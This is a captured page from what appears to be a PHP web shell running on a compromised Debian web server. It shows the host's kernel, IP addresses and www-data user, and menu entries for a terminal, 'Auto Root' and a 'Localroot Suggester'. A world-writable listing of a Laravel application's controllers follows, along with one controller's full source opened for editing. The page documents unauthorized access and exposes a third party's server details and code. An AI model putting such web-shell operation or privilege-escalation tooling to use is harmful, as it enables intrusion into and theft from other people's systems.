Linux vps-61133.fhnet.fr 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
Apache/2.4.25 (Debian)
Server IP : 93.113.207.21 & Your IP : 216.73.216.112
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
html_old /
iNetty /
app /
Http /
Controllers /
Delete
Unzip
Name
Size
Permission
Date
Action
Api
[ DIR ]
drwxrwxrwx
2022-04-21 13:43
Auth
[ DIR ]
drwxrwxrwx
2022-04-21 13:43
ripcord
[ DIR ]
drwxrwxrwx
2022-04-21 13:43
AddressController.php
4.36
KB
-rwxrwxrwx
2022-04-21 13:43
BuildingFloorsController.php
1.9
KB
-rwxrwxrwx
2022-04-21 13:43
BuildingTypesController.php
1.88
KB
-rwxrwxrwx
2022-04-21 13:43
BuildingsController.php
4.48
KB
-rwxrwxrwx
2022-04-21 13:43
CalendarController.php
467
B
-rwxrwxrwx
2022-04-21 13:43
CarHistoryController.php
3.01
KB
-rwxrwxrwx
2022-04-21 13:43
CarsController.php
2.78
KB
-rwxrwxrwx
2022-04-21 13:43
CheckInController.php
1.74
KB
-rwxrwxrwx
2022-04-21 13:43
Controller.php
361
B
-rwxrwxrwx
2022-04-21 13:43
CustomersController.php
4.75
KB
-rwxrwxrwx
2022-04-21 13:43
DevisController.php
4.99
KB
-rwxrwxrwx
2022-04-21 13:43
DevisLinesController.php
2
KB
-rwxrwxrwx
2022-04-21 13:43
DocumentsController.php
2.14
KB
-rwxrwxrwx
2022-04-21 13:43
HomeController.php
2.54
KB
-rwxrwxrwx
2022-04-21 13:43
InterventionAddressesController.php
2.07
KB
-rwxrwxrwx
2022-04-21 13:43
InterventionBuildingsController.php
2.07
KB
-rwxrwxrwx
2022-04-21 13:43
InterventionContactsController.php
2.04
KB
-rwxrwxrwx
2022-04-21 13:43
InterventionStatusController.php
2
KB
-rwxrwxrwx
2022-04-21 13:43
InterventionsController.php
15.03
KB
-rwxrwxrwx
2022-04-21 13:43
OddoController.php
6.5
KB
-rwxrwxrwx
2022-06-02 16:29
PassesController.php
1.72
KB
-rwxrwxrwx
2022-04-21 13:43
ProfileController.php
1.1
KB
-rwxrwxrwx
2022-04-21 13:43
RulesController.php
1.69
KB
-rwxrwxrwx
2022-04-21 13:43
StatusController.php
1.72
KB
-rwxrwxrwx
2022-04-21 13:43
TeamHistoryController.php
3.09
KB
-rwxrwxrwx
2022-04-21 13:43
TeamLogsController.php
1.76
KB
-rwxrwxrwx
2022-04-21 13:43
TeamMembersController.php
1.83
KB
-rwxrwxrwx
2022-04-21 13:43
TeamsController.php
6.69
KB
-rwxrwxrwx
2022-04-21 13:43
UserController.php
4.55
KB
-rwxrwxrwx
2022-04-21 13:43
Save
Rename
<?php namespace App\Http\Controllers; use App\Models\TeamHistory; use App\Http\Requests\StoreTeamHistoryRequest; use App\Http\Requests\UpdateTeamHistoryRequest; use Illuminate\Http\Request; class TeamHistoryController extends Controller { /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function index() { // } /** * Show the form for creating a new resource. * * @return \Illuminate\Http\Response */ public function create(Request $request, $id) { if ($request->members && $request->start_date && $request->end_date) { $members_id = $request->members; $last_history_number_of_team = TeamHistory::where('team_id', $id)->orderBy('created_at', 'desc')->first(); if ($last_history_number_of_team) { $last_history_number_of_team = $last_history_number_of_team->history_number; } foreach ($members_id as $member_id) { TeamHistory::create([ "team_id" => $id, "history_number" => $last_history_number_of_team ? $last_history_number_of_team + 1 : 1, "team_member_id" => $member_id, "start_date" => $request->start_date, "end_date" => $request->end_date, ]); } return redirect('/teams/'.$id); }else { return redirect('/teams/'.$id.'?message=emptyField'); } } /** * Store a newly created resource in storage. * * @param \App\Http\Requests\StoreTeamHistoryRequest $request * @return \Illuminate\Http\Response */ public function store(StoreTeamHistoryRequest $request) { // } /** * Display the specified resource. * * @param \App\Models\TeamHistory $teamHistory * @return \Illuminate\Http\Response */ public function show(TeamHistory $teamHistory) { // } /** * Show the form for editing the specified resource. * * @param \App\Models\TeamHistory $teamHistory * @return \Illuminate\Http\Response */ public function edit(TeamHistory $teamHistory) { // } /** * Update the specified resource in storage. * * @param \App\Http\Requests\UpdateTeamHistoryRequest $request * @param \App\Models\TeamHistory $teamHistory * @return \Illuminate\Http\Response */ public function update(UpdateTeamHistoryRequest $request, TeamHistory $teamHistory) { // } public function delete($team_id, $history_number) { $team_history_list = TeamHistory::where('team_id', $team_id)->where('history_number', $history_number)->get(); foreach ($team_history_list as $team_history){ $team_history->delete(); } } public function deleteMember($team_id, $history_number, $member_id) { TeamHistory::where('team_id', $team_id)->where('history_number', $history_number)->where('team_member_id', $member_id)->first()->delete(); } }